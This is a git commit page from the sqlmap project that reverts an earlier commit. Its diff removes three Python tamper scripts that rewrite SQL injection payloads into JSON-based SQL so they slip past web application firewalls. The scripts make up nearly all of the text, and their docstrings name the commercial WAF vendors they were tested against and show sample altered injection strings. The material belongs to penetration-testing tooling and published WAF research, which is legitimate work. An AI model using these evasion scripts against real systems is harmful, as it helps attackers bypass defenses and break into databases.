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Revert "JSON WAF bypass tamper scripts (#5260)" (#5273)

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This reverts commit 12e3ed14ae.
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Miroslav Stampar 2022-12-23 15:59:12 +01:00 committed by GitHub
parent 12e3ed14ae
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3
doc/THANKS.md
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@ -789,9 +789,6 @@ x, <deep_freeze(at)mail.ru>
zhouhx, <zhouhx(at)knownsec.com> zhouhx, <zhouhx(at)knownsec.com>
* for contributing a minor patch * for contributing a minor patch
Noam Moshe Claroty Team82
* for contributing WAF scripts json_waf_bypass_postgres.py, json_waf_bypass_sqlite.py, json_waf_bypass_mysql.py
# Organizations # Organizations
Black Hat team, <info(at)blackhat.com> Black Hat team, <info(at)blackhat.com>

163
tamper/json_waf_bypass_mysql.py
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@ -1,163 +0,0 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
# Patterns breaks down SQLi payload into different compontets, and replaces the logical comparison.
pattern = r"(?i)(?P<pre>.*)\s*\b(?P<relation>AND|OR)\b\s*(?P<leftComponent>\(?\'.*?(?<!\\)(?:\'|\Z)\)?|\(?\".*?(?<!\\)(?:\"|\Z)\)?|\(?\d+(?!x[a-f0-9])\)?)(?P<operator>=|=|like)(?P<rightComponent>\(?\'.*?(?<!\\)(?:\'|\Z)\)?|\(?\".*?(?<!\\)(?:\"|\Z)\)?|\(?\d+(?!x[a-f0-9])\)?)(?P<post>.*)"
import re, random, string
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
def dependencies():
pass
# Possible int payloads:
# 1) JSON_LENGTH()
# 2) json_depth
# 3) JSON_EXTRACT()
def generate_int_payload():
INT_FUNCTIONS = [generate_length_payload, generate_depth_paylod, generate_int_extract_payload]
return (random.choice(INT_FUNCTIONS))()
# Possible STR payloads:
# 1) SELECT JSON_KEYS('{"a": 1, "b": {"c": 30}}');
# 2) JSON_EXTRACT
# 3) JSON_QUOTE('null')
def generate_str_payload():
print("generate_str_payload")
STR_FUNCTIONS = [generate_str_extract_payload, generate_quote_payload]
return (random.choice(STR_FUNCTIONS))()
return 'JSON_EXTRACT(\'{"a": "1"}\', \'$.a\') = \'1\''
def generate_random_string(length=15):
str_length = random.randint(1,length)
return "".join(random.choice(string.ascii_letters) for i in range(str_length))
def generate_random_int():
return random.randint(2, 10000)
def generate_length_payload():
return f"JSON_LENGTH(\"{{}}\") <= {generate_random_int()}"
def generate_depth_paylod():
return f"JSON_DEPTH(\"{{}}\") != {generate_random_int()}"
def generate_quote_payload():
var = generate_random_string()
return f"JSON_QUOTE('{var}') = '\"{var}\"'"
def generate_int_extract_payload():
return generate_extract_payload(isString=False)
def generate_str_extract_payload():
return generate_extract_payload(isString=True)
def generate_extract_payload(isString=False):
key = generate_random_string()
if isString:
value = generate_random_string()
return f'JSON_EXTRACT(\'{{"{key}": "{value}"}}\', \'$.{key}\') = \'{value}\''
value = generate_random_int()
return f'JSON_EXTRACT("{{\\"{key}\\": {value}}}", "$.{key}") = "{value}"'
def generate_payload(isString, isBrackets):
payload = '(' if isBrackets else ""
if isString:
payload += generate_str_payload()[:-1] # Do not use the last ' because the application will add it.
else:
payload += generate_int_payload()
return payload
def generate_random_payload():
if random.randint(0,1):
return generate_str_payload()
return generate_int_payload()
def tamper(payload, **kwargs):
"""
Bypasses generic WAFs using JSON SQL Syntax.
For more details about JSON in MySQL - https://dev.mysql.com/doc/refman/5.7/en/json-function-reference.html
Tested against:
* MySQL v8.0 - however every version after v5.7.8 should work
Usage:
python3 sqlmap.py <TARGET> --tamper json_waf_bypass_mysql.py
Notes:
* References:
* https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf
* https://www.blackhat.com/eu-22/briefings/schedule/#js-on-security-off-abusing-json-based-sql-queries-28774
* Usefull for bypassing any JSON-unaware WAFs with minor-to-no adjusments
* JSON techniques were tested againts the following WAF vendors:
* Amazon AWS ELB
* CloudFlare
* F5 BIG-IP
* Palo-Alto Next Generation Firewall
* Imperva Firewall
* This script alters the SQLi payload by replacing the condition statement with JSON-specific payloads,
depending on the SQLi type. Here is a list of supported payload types: (int/string depends on the condition check type)
Possible int payloads:
1) JSON_LENGTH()
2) json_depth
3) JSON_EXTRACT()
Possible STR payloads:
1) SELECT JSON_KEYS('{"a": 1, "b": {"c": 30}}');
2) JSON_EXTRACT
3) JSON_QUOTE('null')
>>> tamper("' and 5626=9709 and 'kqkk'='kqkk")
''' ' and 5626=9709 and JSON_EXTRACT('{"ilDQUNfX": "KuIjjFkFsok"}', '$.ilDQUNfX') = 'KuIjjFkFsok '''
>>> tamper('and 4515=8950--')
''' and JSON_EXTRACT("{\"CoGqzQjy\": 3825}", "$.CoGqzQjy") = "3825" '''
"""
payload = payload.replace(r'%20', " ")
#
retVal = payload
if payload:
match = re.search(pattern, payload)
if match:
pre = match.group('pre')
# Is our payload is a string.
isString = pre.startswith("'")
isBrackets = pre.startswith("')") or pre.startswith(")")
wafPayload = generate_payload(isString=isString, isBrackets=isBrackets)
retVal = f"{match.group('pre')} {match.group('relation')} {wafPayload}{match.group('post')}"
else:
if payload.lower().startswith("' union"):
wafPayload = generate_random_payload()
retVal = f"' and {wafPayload} {payload[1:]}" # replace ' union select... with ' and FALSE_WAF_BYPASS union select...
return retVal

237
tamper/json_waf_bypass_postgres.py
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@ -1,237 +0,0 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
# Patterns breaks down SQLi payload into different components, and replaces the logical comparison.
pattern = r"(?i)(?P<pre>.*)\s*\b(?P<relation>AND|OR)\b\s*(?P<leftComponent>\(?\'.*?(?<!\\)(?:\'|\Z)\)?|\(?\".*?(?<!\\)(?:\"|\Z)\)?|\(?\d+(?!x[a-f0-9])\)?)(?P<operator>=|=|like)(?P<rightComponent>\(?\'.*?(?<!\\)(?:\'|\Z)\)?|\(?\".*?(?<!\\)(?:\"|\Z)\)?|\(?\d+(?!x[a-f0-9])\)?)(?P<post>.*)"
pattern_extract_value = r"(?i)(?P<pre>.*)\s*\b(?P<relation>AND|OR)\b\s*(?P<extractValueRest>EXTRACTVALUE.*)"
pattern_when_where = r"(?i)(?P<pre>.*)\s*\b(?P<condition>WHERE|WHEN)\b\s*(?P<rest>.*)"
pattern_replace_case = r"(?i)(?P<all>\(select.*when\s*\((?P<leftComp>.*?)=(?P<rightComp>.*?)\).*?then\s*(?P<firstCase>\(.*?\))\s*else\s*(?P<secondCase>\(.*?\)).*?end\)\))"
import re, random, string
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
def dependencies():
pass
# Possible int payloads:
# 1) #>>
# 2) @>
# 3) ->> (index)
# 4) ->> (str)
def generate_int_payload():
INT_FUNCTIONS = [generate_element_by_id_int_payload, generate_element_by_key_int_payload, generate_element_by_hashtag_int_payload, generate_json_left_contains_payload]
return (random.choice(INT_FUNCTIONS))()
# Possible str payloads:
# 1) ->> (str)
# 2) ->> (index)
# 3) #>>
def generate_str_payload():
STR_FUNCTIONS = [generate_element_by_id_str_payload,generate_element_by_key_str_payload, generate_element_by_hashtag_str_payload]
return (random.choice(STR_FUNCTIONS))()
def generate_random_string(length=15):
str_length = random.randint(1,length)
return "".join(random.choice(string.ascii_letters) for i in range(str_length))
def generate_random_int():
return random.randint(2, 10000)
def generate_element_by_id_payload(isString):
random_generator = generate_random_string if isString else generate_random_int
values = []
for i in range(3):
values.append(random_generator())
random_index = random.randint(0,2)
if isString:
return f'\'["{values[0]}", "{values[1]}", "{values[2]}"]\'::jsonb->>{random_index} = \'{values[random_index]}\''
return f"(\'[{values[0]}, {values[1]}, {values[2]}]\'::jsonb->>{random_index})::int8 = {values[random_index]}"
def generate_element_by_id_int_payload():
return generate_element_by_id_payload(isString=False)
def generate_element_by_id_str_payload():
return generate_element_by_id_payload(isString=True)
def generate_element_by_key_payload(isString):
random_generator = generate_random_string if isString else generate_random_int
keys = []
values = []
for i in range(3):
keys.append(generate_random_string()) # Json must always have a string as a value
values.append(random_generator())
random_index = random.randint(0, 2)
if isString:
return f"'{{\"{keys[0]}\" : \"{values[0]}\", \"{keys[1]}\" : \"{values[1]}\", \"{keys[2]}\" : \"{values[2]}\"}}'::jsonb->>'{keys[random_index]}' = '{values[random_index]}'"
return f"('{{\"{keys[0]}\" : {values[0]}, \"{keys[1]}\" : {values[1]}, \"{keys[2]}\" : {values[2]}}}'::jsonb->>'{keys[random_index]}')::int8 = {values[random_index]}"
def generate_element_by_key_int_payload():
return generate_element_by_key_payload(isString=False)
def generate_element_by_key_str_payload():
return generate_element_by_key_payload(isString=True)
def generate_element_by_hashtag_payload(isString):
random_generator = generate_random_string if isString else generate_random_int
keys = []
values = []
for i in range(3):
keys.append(generate_random_string()) # Json must always have a string as a value
values.append(random_generator())
random_index = random.randint(0, 2)
if isString:
return f"'{{\"{keys[0]}\" : \"{values[0]}\", \"{keys[1]}\" : \"{values[1]}\", \"{keys[2]}\" : \"{values[2]}\"}}'::jsonb%23>>'{{{keys[random_index]}}}' = '{values[random_index]}'"
return f"('{{\"{keys[0]}\" : {values[0]}, \"{keys[1]}\" : {values[1]}, \"{keys[2]}\" : {values[2]}}}'::jsonb%23>>'{{{keys[random_index]}}}')::int8 = {values[random_index]}"
def generate_element_by_hashtag_int_payload():
return generate_element_by_hashtag_payload(isString=False)
def generate_element_by_hashtag_str_payload():
return generate_element_by_hashtag_payload(isString=True)
def generate_json_left_contains_payload():
keys = []
values = []
for i in range(3):
keys.append(generate_random_string()) # Json must always have a string as a value
values.append(generate_random_int())
random_index = random.randint(0, 2)
return f"'{{\"{keys[0]}\" : {values[0]}, \"{keys[1]}\" : {values[1]}, \"{keys[2]}\" : {values[2]}}}'::jsonb @> '{{\"{keys[random_index]}\": {values[random_index]}}}'"
def generate_payload(isString, isBrackets):
payload = '(' if isBrackets else ""
if isString:
payload += generate_str_payload()[:-1] # Do not use the last ' because the application will add it.
else:
payload += generate_int_payload()
return payload
def generate_random_payload():
if random.randint(0,1):
return generate_str_payload()
return generate_int_payload()
def tamper(payload, **kwargs):
"""
Bypasses generic WAFs using JSON SQL Syntax.
For more details about JSON in PostgreSQL - https://www.postgresql.org/docs/9.3/functions-json.html
Tested against:
* PostgreSQL v15.0 - however every version after v9.2 should work
Usage:
python3 sqlmap.py <TARGET> --tamper json_waf_bypass_postgres.py
Notes:
* References:
* https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf
* https://www.blackhat.com/eu-22/briefings/schedule/#js-on-security-off-abusing-json-based-sql-queries-28774
* Usefull for bypassing any JSON-unaware WAFs with minor-to-no adjusments
* JSON techniques were tested againts the following WAF vendors:
* Amazon AWS ELB
* CloudFlare
* F5 BIG-IP
* Palo-Alto Next Generation Firewall
* Imperva Firewall
* This script alters the SQLi payload by replacing the condition statement with JSON-specific payloads,
depending on the SQLi type. Here is a list of supported payload types: (int/string depends on the condition check type)
Possible int payloads:
1) #>>
2) @>
3) ->> (index)
4) ->> (str)
Possible str payloads:
1) ->> (str)
2) ->> (index)
3) #>>
>>> tamper("' and 5626=9709 and 'kqkk'='kqkk")
''' ' and 5626=9709 and '["cyelIKsSqxw", "TjFXJ", "p"]'::jsonb->>1 = 'TjFXJ '''
>>> tamper('and 4515=8950')
''' and ('{"znxqmFaPSFPHbL" : 9783, "thtt" : 3922, "EhFySUTUc" : 2490}'::jsonb%23>>'{thtt}')::int8 = 3922 '''
"""
payload = payload.replace(r'%20', " ") # Fix regex for later
payload = payload.lower().replace("union all", "union") # Replace union all with union in order to bypass many common WAFs
bad_string_match = re.search(r"(from \(select \d+)", payload) # Replaces suffix identified by many WAFs
if bad_string_match:
payload = payload[:payload.find(bad_string_match.group(1))] + f"--{generate_random_string()} "
retVal = payload
if payload:
match = re.search(pattern, payload)
if match:
pre = match.group('pre')
# Is our payload a string.
isString = pre.startswith("'")
isBrackets = pre.startswith("')") or pre.startswith(")")
wafPayload = generate_payload(isString=isString, isBrackets=isBrackets)
retVal = f"{match.group('pre')} {match.group('relation')} {wafPayload}{match.group('post')}"
elif payload.lower().startswith("' union"): # Increase evasiveness in union payloads
wafPayload = generate_random_payload()
retVal = f"' and {wafPayload} {payload[1:]}" # replace ' union select... with ' and FALSE_WAF_BYPASS union select...
else:
extract_value_match = re.search(pattern_extract_value, payload)
if extract_value_match: # Replaces extractvalue because many WAFs target it
wafPayload = generate_random_payload()
retVal = f"{extract_value_match.group('pre')} {extract_value_match.group('relation')} {wafPayload} {extract_value_match.group('relation')} {extract_value_match.group('extractValueRest')}"
else:
condition_match = re.match(pattern_when_where, payload)
if condition_match: # Replaces when/where payloads with regular payloads because many WAFs target this keywords
wafPayload = generate_random_payload()
retVal = f"{condition_match.group('pre')} {condition_match.group('condition')} {wafPayload} and {condition_match.group('rest')}"
case_match = re.search(pattern_replace_case, retVal)
if case_match: # Replaces case statements because many WAFs target this syntax
# Check if the case statement expects the left or right option
if case_match.group("leftComp") == case_match.group("rightComp"):
retVal = retVal.replace(case_match.group('all'), case_match.group('firstCase'))
else:
retVal = retVal.replace(case_match.group('all'), case_match.group('secondCase'))
return retVal

178
tamper/json_waf_bypass_sqlite.py
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@ -1,178 +0,0 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
# Patterns breaks down SQLi payload into different components, and replaces the logical comparison.
pattern = r"(?i)(?P<pre>.*)\s*\b(?P<relation>AND|OR)\b\s*(?P<leftComponent>\(?\'.*?(?<!\\)(?:\'|\Z)\)?|\(?\".*?(?<!\\)(?:\"|\Z)\)?|\(?\d+(?!x[a-f0-9])\)?)(?P<operator>=|=|like)(?P<rightComponent>\(?\'.*?(?<!\\)(?:\'|\Z)\)?|\(?\".*?(?<!\\)(?:\"|\Z)\)?|\(?\d+(?!x[a-f0-9])\)?)(?P<post>.*)"
import re, random, string
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
DEBUG = False
def dependencies():
pass
# Possible int payloads:
# 1) JSON_LENGTH()
# 2) json_depth
# 3) JSON_EXTRACT()
# 3) JSON_EXTRACT operator
def generate_int_payload():
INT_FUNCTIONS = [generate_length_payload, generate_int_extract_payload, generate_int_extract_operator_payload]
return (random.choice(INT_FUNCTIONS))()
# Possible STR payloads:
# 2) JSON_EXTRACT
# 2) JSON_EXTRACT Operator
# 3) JSON_QUOTE('null')
def generate_str_payload():
STR_FUNCTIONS = [generate_str_extract_payload, generate_quote_payload, generate_str_extract_operator_payload]
return (random.choice(STR_FUNCTIONS))()
def generate_random_string(length=15):
str_length = random.randint(1, length)
return "".join(random.choice(string.ascii_letters) for i in range(str_length))
def generate_random_int():
return random.randint(2, 10000)
def generate_length_payload():
rand_int = generate_random_int()
return f"JSON_ARRAY_LENGTH(\"[]\") <= {generate_random_int()}"
def generate_quote_payload():
var = generate_random_string()
return f"JSON_QUOTE('{var}') = '\"{var}\"'"
def generate_int_extract_payload():
return generate_extract_payload(isString=False)
def generate_str_extract_payload():
return generate_extract_payload(isString=True)
def generate_int_extract_operator_payload():
return generate_extract_operator_payload(isString=False)
def generate_str_extract_operator_payload():
return generate_extract_operator_payload(isString=True)
def generate_extract_payload(isString=False):
key = generate_random_string()
if isString:
value = generate_random_string()
return f'JSON_EXTRACT(\'{{"{key}": "{value}"}}\', \'$.{key}\') = \'{value}\''
value = generate_random_int()
return f'JSON_EXTRACT("{{""{key}"": {value}}}", "$.{key}") = {value}'
def generate_extract_operator_payload(isString=False):
key = generate_random_string()
if isString:
value = generate_random_string()
return f'\'{{"{key}": "{value}"}}\'->> \'$.{key}\' = \'{value}\''
value = generate_random_int()
return f'"{{""{key}"": {value}}}" ->> "$.{key}" = {value}'
def generate_payload(isString, isBrackets):
payload = '(' if isBrackets else ""
if isString:
payload += generate_str_payload()[:-1] # Do not use the last ' because the application will add it.
else:
payload += generate_int_payload()
return payload
def generate_random_payload():
if random.randint(0, 1):
return generate_str_payload()
return generate_int_payload()
def tamper(payload, **kwargs):
"""
Bypasses generic WAFs using JSON SQL Syntax.
For more details about JSON in SQLite - https://www.sqlite.org/json1.html
Tested against:
* SQLite v3.39.4 - however every version after v3.38.0 should work
Usage:
python3 sqlmap.py <TARGET> --tamper json_waf_bypass_sqlite.py
Notes:
* References:
* https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf
* https://www.blackhat.com/eu-22/briefings/schedule/#js-on-security-off-abusing-json-based-sql-queries-28774
* Usefull for bypassing any JSON-unaware WAFs with minor-to-no adjusments
* JSON techniques were tested againts the following WAF vendors:
* Amazon AWS ELB
* CloudFlare
* F5 BIG-IP
* Palo-Alto Next Generation Firewall
* Imperva Firewall
* This script alters the SQLi payload by replacing the condition statement with JSON-specific payloads,
depending on the SQLi type. Here is a list of supported payload types: (int/string depends on the condition check type)
Possible int payloads:
1) JSON_LENGTH()
2) json_depth
3) JSON_EXTRACT()
3) JSON_EXTRACT operator
Possible STR payloads:
2) JSON_EXTRACT
2) JSON_EXTRACT Operator
3) JSON_QUOTE('null')
>>> tamper("' and 5626=9709 and 'kqkk'='kqkk")
''' ' and 5626=9709 and JSON_QUOTE('UG') = '"UG" '''
>>> tamper('and 4515=8950')
''' and JSON_ARRAY_LENGTH("[]") <= 9100 '''
"""
retVal = payload
if payload:
match = re.search(pattern, payload)
if match:
pre = match.group('pre')
# Is our payload is a string.
isString = pre.startswith("'")
isBrackets = pre.startswith("')") or pre.startswith(")")
wafPayload = generate_payload(isString=isString, isBrackets=isBrackets)
retVal = f"{match.group('pre')} {match.group('relation')} {wafPayload}{match.group('post')}"
else:
if payload.lower().startswith("' union"):
wafPayload = generate_random_payload()
retVal = f"' and {wafPayload} {payload[1:]}" # replace ' union select... with ' and FALSE_WAF_BYPASS union select...
return retVal